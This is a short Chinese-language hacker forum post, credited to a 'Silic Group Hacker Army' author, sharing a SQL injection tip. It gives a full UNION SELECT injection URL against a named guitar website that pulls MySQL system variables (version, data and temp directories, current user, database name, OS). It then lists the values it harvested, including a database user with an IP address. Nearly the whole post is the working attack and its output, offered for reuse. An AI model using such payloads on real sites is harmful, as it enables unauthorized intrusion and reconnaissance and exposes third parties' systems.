注入的几个小参数

作者：YoCo Smart
来自：Silic Group Hacker Army
网址：http://blackbap.org
直接看地址吧：
rekguitars.com/english.php?site=dir&nr=-2+union+select+1,2,concat(@@version_comment,0x5c
,@@datadir,0x5c,@@tmpdir,0x5c,@@version,0x5c,user(),0x5c,database(),0x5c,@@version_com
pile_os,0x5c,@@version_compile_machine,0x5c,@@warning_count,0x5c,@@system_time_zon
e,0x5c,@@query_cache_size),4,5,6,7,8,9,0,1,2,13,14,15,16,17,18
@@version_comment
@@datadir
@@tmpdir
@@version
user()
database()
@@version_compile_os
@@version_compile_machine
@@warning_count
@@system_time_zone
@@query_cache_size
concat(@@version_comment,0x5c,@@datadir,0x5c,@@tmpdir,0x5c,@@version,0x5c,user(),0x5
c,database(),0x5c,@@version_compile_os,0x5c,@@version_compile_machine,0x5c,@@warning
_count,0x5c,@@system_time_zone,0x5c,@@query_cache_size)
得到：
Source distribution
/home/mysql50/data-h16/
/home/tmp/data-h16
5.0.90-log
fulara_2@85.128.166.242
fulara_2
unknown-linux-gnu
x86_64
0
CEST
16777216
虽然用处不大，不过比没有强